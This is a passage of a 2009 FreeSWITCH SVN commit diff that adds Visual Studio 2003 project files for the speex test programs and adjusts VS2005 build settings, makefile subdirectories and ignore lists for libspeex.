+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}">
+			<File
+				RelativePath="..\..\..\libspeex\testenc.c">
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc_uwb.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc_uwb.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/tests/testenc_uwb.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc_uwb.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc_uwb.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,213 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="7.10"
+	Name="testenc_uwb"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}"
+	Keyword="Win32Proj">
+	<Platforms>
+		<Platform
+			Name="Win32"/>
+	</Platforms>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			CharacterSet="2">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="TRUE"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="4"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_uwb.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_uwb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_uwb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}">
+			<File
+				RelativePath="..\..\..\libspeex\testenc_uwb.c">
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc_wb.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc_wb.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/tests/testenc_wb.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc_wb.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testenc_wb.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,213 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="7.10"
+	Name="testenc_wb"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}"
+	Keyword="Win32Proj">
+	<Platforms>
+		<Platform
+			Name="Win32"/>
+	</Platforms>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			CharacterSet="2">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="TRUE"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="4"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_wb.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_wb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_wb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}">
+			<File
+				RelativePath="..\..\..\libspeex\testenc_wb.c">
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testresample.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testresample.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2003/tests/testresample.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testresample.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2003/tests/testresample.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,213 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="7.10"
+	Name="testresample"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAB}"
+	Keyword="Win32Proj">
+	<Platforms>
+		<Platform
+			Name="Win32"/>
+	</Platforms>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			CharacterSet="2">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="TRUE"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="4"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testresample.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testresample.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="2"
+			WholeProgramOptimization="TRUE">
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				GlobalOptimizations="TRUE"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="TRUE"
+				FavorSizeOrSpeed="1"
+				OptimizeForProcessor="2"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="TRUE"
+				ExceptionHandling="FALSE"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="FALSE"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="TRUE"
+				DebugInformationFormat="3"
+				CompileAs="1"/>
+			<Tool
+				Name="VCCustomBuildTool"/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testresample.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="TRUE"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"/>
+			<Tool
+				Name="VCMIDLTool"/>
+			<Tool
+				Name="VCPostBuildEventTool"/>
+			<Tool
+				Name="VCPreBuildEventTool"/>
+			<Tool
+				Name="VCPreLinkEventTool"/>
+			<Tool
+				Name="VCResourceCompilerTool"/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"/>
+			<Tool
+				Name="VCWebDeploymentTool"/>
+			<Tool
+				Name="VCManagedWrapperGeneratorTool"/>
+			<Tool
+				Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}">
+			<File
+				RelativePath="..\..\..\libspeex\testresample.c">
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}">
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}">
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/speex/win32/VS2005/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,6 +3,6 @@
 # Disable automatic dependency tracking if using other tools than gcc and gmake
 #AUTOMAKE_OPTIONS = no-dependencies
 
-SUBDIRS = libspeex speexenc speexdec
+SUBDIRS = libspeex libspeexdsp speexenc speexdec tests
 
-EXTRA_DIST = 
+EXTRA_DIST = libspeex.sln

Property changes: freeswitch/branches/seven/libs/speex/win32/VS2005/libspeex


Name: svn:ignore
   - Makefile.in
Makefile
   + Makefile.in
Makefile
Debug
*.user
Release

Modified: freeswitch/branches/seven/libs/speex/win32/VS2005/libspeex/libspeex.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2005/libspeex/libspeex.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/win32/VS2005/libspeex/libspeex.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -48,9 +48,9 @@
 				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
 				MinimalRebuild="true"
 				BasicRuntimeChecks="3"
-				RuntimeLibrary="1"
+				RuntimeLibrary="3"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="0"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="4"
 				CompileAs="1"
@@ -66,7 +66,7 @@
 			/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"
+				OutputFile="..\..\..\lib\libspeex.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -118,10 +118,10 @@
 				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
 				StringPooling="true"
 				ExceptionHandling="0"
-				RuntimeLibrary="0"
+				RuntimeLibrary="2"
 				BufferSecurityCheck="false"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="0"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="3"
 				CompileAs="1"
@@ -138,7 +138,7 @@
 			/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"
+				OutputFile="..\..\..\lib\libspeex.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -194,7 +194,7 @@
 				BufferSecurityCheck="false"
 				EnableEnhancedInstructionSet="1"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="0"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="3"
 				CompileAs="1"
@@ -211,7 +211,7 @@
 			/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"
+				OutputFile="..\..\..\lib\libspeex.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -267,7 +267,7 @@
 				BufferSecurityCheck="false"
 				EnableEnhancedInstructionSet="2"
 				UsePrecompiledHeader="0"
-				WarningLevel="4"
+				WarningLevel="0"
 				Detect64BitPortabilityProblems="true"
 				DebugInformationFormat="3"
 				CompileAs="1"
@@ -284,7 +284,7 @@
 			/>
 			<Tool
 				Name="VCLibrarianTool"
-				OutputFile="$(OutDir)/libspeex.lib"
+				OutputFile="..\..\..\lib\libspeex.lib"
 			/>
 			<Tool
 				Name="VCALinkTool"
@@ -338,8 +338,9 @@
 				ExceptionHandling="0"
 				RuntimeLibrary="0"
 				BufferSecurityCheck="false"
